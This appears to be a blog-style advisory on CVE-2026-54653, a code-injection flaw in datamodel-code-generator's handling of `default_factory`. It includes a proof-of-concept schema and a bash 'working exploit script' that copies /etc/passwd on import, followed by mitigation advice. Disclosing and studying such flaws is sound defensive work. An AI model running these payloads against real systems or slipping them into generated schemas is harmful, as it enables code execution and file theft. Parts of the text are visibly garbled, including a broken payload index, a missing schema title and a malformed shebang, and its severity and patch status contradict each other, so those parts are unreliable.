Listen to this Post
CVE-2026-54653 is a critical code injection vulnerability discovered in the `datamodel-code-generator` tool, a widely-used Python utility that generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from various schema formats including OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. The vulnerability affects all versions from 0.17.0 up to and including 0.60.1, and it stems from improper handling of the `default_factory` key within schema definitions.
The core issue resides in the JSON Schema parser component, specifically within the `src/datamodel_code_generator/parser/jsonschema.py` file. When the tool processes a schema that contains a `default_factory` property, it does not sanitize or validate the value. Instead, it preserves the attacker-controlled value verbatim and interpolates it directly into the generated Python code as a raw expression inside `Field(default_factory=…)` or `field(default_factory=…)` calls. The vulnerable chain spans three key locations: the source where `DEFAULT_FIELD_KEYS` includes the literal string “default_factory”, the `JsonSchemaObject.__init__` method which stores non-standard keys in self.extras, and the `get_field_extras` function which preserves `default_factory` through to the field model. The sink locations include Pydantic v2, dataclass, and msgspec generators, all of which interpolate the `default_factory` value raw without using `repr()` or any validation.
Because the generated code places the expression directly into a class definition, the expression is evaluated at class-definition time — that is, at the moment the generated module is imported. An attacker who controls the input schema can therefore inject arbitrary Python expressions that execute in the context of the consumer’s process when the generated model is imported. This creates a remote code execution (RCE) vector that requires no special CLI flags to trigger. The attack surface is broad, encompassing any input format that uses the JSON-Schema-shaped parser, including OpenAPI, YAML, JSON, Avro, Protobuf, and others. The vulnerability is fixed in version 0.60.2, which implements proper sanitization of `default_factory` values.
DailyCVE Form:
Platform: ……. `datamodel-code-generator`
Version: …….. `0.17.0 to 0.60.1`
Vulnerability :.. `Code Injection (CWE-94)`
Severity: ……. `High (CVSS 8.8)`
Date: ……….. `July 28, 2026`
Prediction: ….. `Patch by August 2026`
Analytics: What Undercode Say
The vulnerability manifests when an attacker-controlled schema containing a malicious `default_factory` expression is processed. The expression is embedded verbatim into the generated Python file. Upon import of that file, the expression executes.
Vulnerable Code Path (Source):
src/datamodel_code_generator/parser/jsonschema.py
DEFAULT_FIELD_KEYS = {"default", "default_factory", ...} Line 600-614
JsonSchemaObject.<strong>init</strong> stores non-standard keys in self.extras Line 457-459
get_field_extras preserves default_factory Line 797-812
Vulnerable Code Path (Sink – Pydantic v2):
src/datamodel_code_generator/model/pydantic_base.py:222-249
default_factory = data.pop("default_factory", None)
if default_factory is not None:
field_arguments = [f"default_factory={default_factory}", field_arguments]
default_factory is interpolated raw — no repr(), no validation
Vulnerable Code Path (Sink – Dataclass):
src/datamodel_code_generator/model/dataclass.py:211
f"{k}={v if k == 'default_factory' else repr(v)}"
Explicit special-case to skip repr() for default_factory
Proof of Concept (PoC) — Injection Schema:
{
"$schema": "http://json-schema.org/draft-07/schema",
"": "InjectModel",
"type": "object",
"properties": {
"items": {
"type": "array",
"items": { "type": "string" },
"default_factory": "(open('/tmp/pwned.txt','w').write('executed'), lambda: [])[bash]"
}
}
}
Generation Command:
datamodel-codegen --input inject.json --input-file-type jsonschema \ --output inject_out.py --output-model-type pydantic_v2.BaseModel
Trigger (Import):
from inject_out import InjectModel Expression executes on import
Exploit:
An attacker can exploit this vulnerability by supplying a malicious schema file to any application or CI/CD pipeline that uses `datamodel-code-generator` to process untrusted schemas. The attacker crafts a JSON Schema, OpenAPI specification, YAML, or other supported format containing a `default_factory` key with a Python expression payload. When the tool generates the Python model and the victim imports it, the payload executes. The attack requires user interaction (the victim must import the generated model), but the impact is severe — full remote code execution with the privileges of the importing process. No special CLI flags are needed; any input format that routes through the JSON-Schema-shaped parser is vulnerable. The attack vector is network-based, with low attack complexity and no required privileges.
Working Exploit Script (Bash):
!/usr/bin/env bash
Self-contained PoC — datamodel-code-generator
RCE on `import` of the generated module
set -euo pipefail
WORK="$(mktemp -d -t dmcg_XXXXXX)"
VENV="$WORK/venv"
CANARY="/tmp/dmcg_passwd.txt"
trap 'rm -rf "$WORK"; rm -f "$CANARY"' EXIT
python3 -m venv "$VENV"
"$VENV/bin/pip" install --quiet datamodel-code-generator
CODEGEN="$VENV/bin/datamodel-codegen"
Malicious schema with default_factory payload
cat > "$WORK/inject.json" <<'JSON'
{
"$schema": "http://json-schema.org/draft-07/schema",
"": "InjectModel",
"type": "object",
"properties": {
"items": {
"type": "array",
"items": { "type": "string" },
"default_factory": "(open('/tmp/dmcg_passwd.txt','w').write(open('/etc/passwd').read()), lambda: [])[bash]"
}
}
}
JSON
Generate the model
"$CODEGEN" --input "$WORK/inject.json" --input-file-type jsonschema \
--output "$WORK/inject_out.py" --output-model-type pydantic_v2.BaseModel
Import triggers RCE — /etc/passwd is written to /tmp/dmcg_passwd.txt
"$VENV/bin/python" -c "from inject_out import InjectModel"
echo "[+] Exploit executed. Check $CANARY"
Protection:
1. Immediate Upgrade: Upgrade `datamodel-code-generator` to version 0.60.2 or later, which implements proper sanitization of `default_factory` values.
pip install --upgrade datamodel-code-generator>=0.60.2
2. Input Validation: Implement strict validation and sanitization policies for all schema files, especially those sourced externally or from untrusted repositories.
3. Automated Scanning: Establish automated scanning procedures to detect potentially malicious `default_factory` expressions in schema files before processing.
4. Sandboxed Execution: Consider running schema processing in sandboxed or isolated environments to limit the impact of any potential code execution.
5. Dependency Scanning: Integrate dependency scanning tools (e.g., GitLab Dependency Scanning, Snyk) to detect vulnerable versions of `datamodel-code-generator` in your supply chain.
6. Code Review: Conduct comprehensive security reviews of code generation workflows to ensure all external inputs are properly vetted.
Impact:
- Remote Code Execution (RCE): An attacker can execute arbitrary Python code on any system that imports models generated from a malicious schema.
- Supply Chain Compromise: Malicious actors can inject payloads into schema repositories or package distributions, affecting all downstream consumers.
- Data Exfiltration: Attackers can read sensitive files, exfiltrate data, or establish persistent backdoors.
- CI/CD Pipeline Compromise: If used in CI/CD pipelines, the vulnerability can lead to credential theft, source code exfiltration, or deployment of backdoored artifacts.
- Wide Attack Surface: All input formats (OpenAPI, JSON Schema, YAML, JSON, Avro, Protobuf, GraphQL, CSV, XSD) are in scope.
- No Special Flags Required: The vulnerability triggers with default tool usage, making it easily exploitable.
- CVSS Score 8.8 (High): Network-based attack vector, low complexity, no privileges required, user interaction required, high impact on confidentiality, integrity, and availability.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
